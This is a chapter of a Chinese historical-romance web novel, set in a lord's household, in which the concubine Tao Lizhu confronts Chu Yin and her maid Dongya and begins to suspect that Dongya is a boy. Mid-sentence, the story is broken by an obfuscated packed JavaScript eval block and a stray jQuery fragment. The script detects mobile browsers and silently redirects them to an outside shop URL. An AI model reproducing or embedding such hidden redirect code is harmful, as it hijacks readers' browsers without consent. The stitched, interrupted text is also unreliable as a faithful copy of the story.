褚因在碧痕院中醒来时,已是第二日。
小玉说昨夜侯爷宿在院中,大早就已出门公务了,褚因舀着碗里的汤,一言不发。
她如何不知道人昨夜跟她宿在一处,耳侧的呼吸和灼热的温度一直纠缠良久,最后才自己去外榻歇下。
“让李福把冬丫带回来。”
冬丫其实被关得不远,就在隔壁一个空院子,这几日没受磋磨,一日三餐有人送来,好吃好睡。
只是门口那个看守也不答话,更别说陪自己玩了。
今日看守出去了不知为何迟迟没来。
自己着实有些急。
用嘴巴啃掉了手腕上的绳索,又担心看守突然回来,先探头去门口看了看。
见没人,在树后淋得哗啦哗啦响。
院墙外转过来两个人,正是陶立姝带着巧儿。
“娘子这一大早过去,万一褚娘子没起床怎么办?”
“日上三竿了,如何不起,就因为她这般没规没矩,我才得去她院中教导一二,不辜负老夫人的嘱托。”
陶立姝昨夜辗转难眠。
侯爷一颗心歪着长,那碧痕院的那位又不知进退,若被老夫人知道,侯爷定不免受责罚。
她是侯爷的枕边人,自然要为侯爷解忧。
巧儿听到树后有动静,绕过去看,正好看到冬丫正在整理衣摆。
“呀,这不是碧痕院的那个小丫头吗。”
陶立姝淡淡瞥了一眼又错开,冬丫的头发几日没人梳理,乱蓬蓬的。
巧儿上上下下看了冬丫好几眼,一时心里有些疑惑。
冬丫整理完一溜烟又钻回去,假模假式地把绳子又绕回自己的手上捆着。
“哼,主仆俩一个样,都没规矩。”
陶立姝恨得牙痒。
“娘子也莫气坏了自己,不值当。”
两人绕过了院墙,往碧痕院走去。
冬丫几乎是立刻解了绳索尾随上去,刚才听到什么‘褚娘子’‘碧痕院’的,这两人语气不善,定是要找姐姐麻烦。
果然,两人到了院门口就嚷嚷起来。
小玉见是陶娘子,想到昨日种种,立刻就让绿兰将人拦住不给进,自己求禀报褚因。
褚因自然是不想见。
陶立姝本就一肚子委屈一肚子怨愤,又被褚因拒之门外,撒起泼来。
“褚因,你给我出来!”
褚因走到门前,瞥了来兴师问罪的人一眼,一言不发。
冬丫趁着这个档口跑进院子。
对方一言不发的样子在陶立姝看来就是明晃晃的挑衅,大怒,“你个不知尊卑贵贱的贱婢,凭着一张胡说八道的嘴,果真就不知道自己几斤几两了?”
说着就要冲进来。
绿兰忙将人抵住,奈何外面两个人一起推,她抵挡不住,直接被推翻在地上。
冬丫见状,直接冲到门边,生生将陶立姝和巧儿两人挡在门外。
——好大的力气!
“倒反天罡了简直,你还纵容一个小蹄子来挡门。”
“褚因你有本事出来,昨日之事我哪一件没有讲对?”
实在吵嚷得让人心烦。
小玉和绿兰终于找来一个木棍将院门紧紧卡住,冬丫才收了力气。
“咦,我们冬丫好大的力气,竟然一个人抵住她们。”
冬丫也颇费劲,手都酸了。
褚因走过来将人拉住,左看右看:“这两日可曾遭罪?”
冬丫摇头,眼眶发红,一双眼委屈巴巴地看着褚因:“冬丫没用,没保护住姐姐。”
是指那天的事。
褚因揉揉她的头发,她这么个小人,能将陆侯爷那样的大汉撞开,已然是不可思议了。
何况她太小,哪里懂两个成人之间的事。
“姐姐好好的呢,你怎么一个人回来了,李福总管让你回来的?”
冬丫摇头,指向门外,“跟着她们回来的,我就知道她们要找姐姐麻烦。”
褚因点头,嫌门外的陶立姝吵嚷得厉害,嘱咐绿兰:
“带她下去洗漱干净,陶娘子这样骂个不停,听着也头疼。”
于是将木棍松动了些,门开了一个缝,看着门外气愤到脸色涨红的人。
“陶娘子,你到底说什么?”
“我说……!!!”
合着她刚才骂了半天对方一句话没听进去。
陶立姝几乎将指头戳到褚因脸前,可惜门缝太小,只能撕着喉咙,“我问你,是不是你咬的侯爷?”
褚因点头。
“我就知道,你可知道侯爷是主子、是夫、是天,你这样做会遭雷劈的。”
是主子、是夫、是天。
褚因微微勾起唇角,看着对方脸上真切的愤怒,缓缓开口道:
“若说咬人是闺房之事,陶娘子心里可会舒服些?”
她慢慢将衣袖掀起来,两手臂内侧的齿痕褪成殷红,有些暗成紫黑色。
陶立姝脸色变了又变,盯着她的手臂心刺刺地跳,最终只艰难吐出来一个字:“你!”
“不仅我咬他,他也咬我,扯平了吗?陶娘子还要为你的侯爷出头吗?”
陶立姝从未见过如此厚颜无耻之人,光天化日之下,竟将自己与人欢好的痕迹展示给别人看。气得浑身直打抖,拉着巧儿咬牙切齿。
巧儿见自家娘子气得厉害,忙拍着背顺气。
陶立姝气出了眼泪,“果真是青楼出来的下贱胚子,说这样的话都不带遮掩。”
见人走了,褚因放下袖子站在院中,一双眸子满是寂静。
为人出头,让人判决。这样的处境是最煎熬的,却一次又一次发生。
本身就是将自己放在低人一等的位置上,如何能得到公正的判决?
人的心本来就是偏的。
陶娘子来兴师问罪,是以为一个通房丫鬟辜负了侯爷,冒犯了主子、倒反天罡了规则。
昨日陆侯爷的处置她不是不清楚,可站在街头无钱可用、无处可去的茫然依旧强烈。
与其说陆侯爷是主子、是夫、是天。
不如说他是资源的拥有者。
褚因想要在这个世间好好活着,得从他手里讨来足够的资源。
不论是银钱还是自由,或者是尊严和体面,都得一点点向对方讨要。
可悲的是,因为地位的不平等,还要用自己去做交换。
她已然看清楚了,所以,她放软了身段。
等待时机。
陶立姝直哭到院子里。
巧儿劝了好久劝不停,“娘子也不必跟她计较,倘若老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703039|207085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夫人在,一定早早将人收拾了。”
“且在老夫人心里,娘子可是一等一的好。”
然而,老夫人不在院子里不是。
巧儿又劝,“还有月余就是侯爷的生辰,按往年的惯例老夫人定不会上来,”
陶立姝心念一动,听得巧儿继续说。
“可若娘子写信去请,顺带将后院的事一说,哪里还用得着娘子出手?”
见陶立姝眉头舒展,巧儿心定了定。
巧儿又想了好一会儿,才开口。
“娘子,奴婢有件事不知当说不当说,奴婢觉得,碧痕院的那小丫头有问题。”
“嗯?”
“奴婢也只是猜测,那小丫头长相太过貌美,奴婢也说不准。”
陶娘子瞬时被转移了注意力,“你尽管说。”
巧儿皱起眉头,“今日那小丫头力气比牛大,将我们俩都挡在院外,奴婢现在回想起来,越来越不对劲。”
“奴婢家中的小弟今年也是八九岁,半大小子,吃穷老子,他的力气也是这般大。”
“何况,那小丫头之前在那棵树后窸窸窣窣的,奴婢晃眼好像是看见人是站着撒尿的……”
陶立姝猛地站起来。
巧儿忙道,“奴婢只是觉得不对劲,那晃眼也没看清楚,这也说不准啊娘子。”
陶立姝擦了擦眼角的冷泪,“这件事不要跟任何人说,且细细去查看,若那所谓的小丫头真是个男儿身……”
“将一个男儿这样贴身养在身边,我不信,这次侯爷还不发落她!”
*
碧痕院这头,冬丫又换了一身新衣。进府这段日子吃得圆润起来,又穿着粉色的窄袖短袄,梳着两团双丫髻。越看越觉得娇憨可爱。
别的不说,小玉就稀罕得紧,给冬丫梳完头,在那小脸上捏了捏:“几天不见成个树猴子,稍微一打理,又变成小丫头了。”
褚因也笑,坐在桌上等冬丫来吃饭,给她添了满满一碗。
“多吃些才好,长得高。”
“娘子好福气,冬丫长得又好,又贴心贴肺对娘子。”
褚因自然知道,倘若没有冬丫,这个世界上也就没了她。所以她必须得把冬丫的未来规划好。
“倘若说这小丫头有一处不好,就是犟得很,刚才奴婢说给她搓澡,她又将门锁了不给我进去。让奴婢在外面好等。”
“小小年纪,还会害羞呢?”
冬丫充耳不闻,认真刨饭。
褚因倒完全理解,小孩子也有自己的隐私,又不是什么有违原则的事情。
“她若喜欢自己洗就自己洗,不是什么大事。”
小玉笑着补充,“是,小丫头害羞呢,平日换衣服也背着奴婢和绿兰,有时候反倒惹得人想去逗逗她。”
一屋子闲话家常,因为冬丫回来而增添了许多生气。
李福接到看守的回禀,说冬丫跑了。
还能去哪里?
早上褚娘子才派人来要人,不多久冬丫就跑了,定是回碧痕院了呗。
差人去确定一下,反而带回来陶娘子去碧痕院胡闹一通的消息。
着实让人头痛。
三个女人一台戏。
这两个女人就跟斗鸡似的,一天不得消停,还是章娘子人如其名,文秀安静。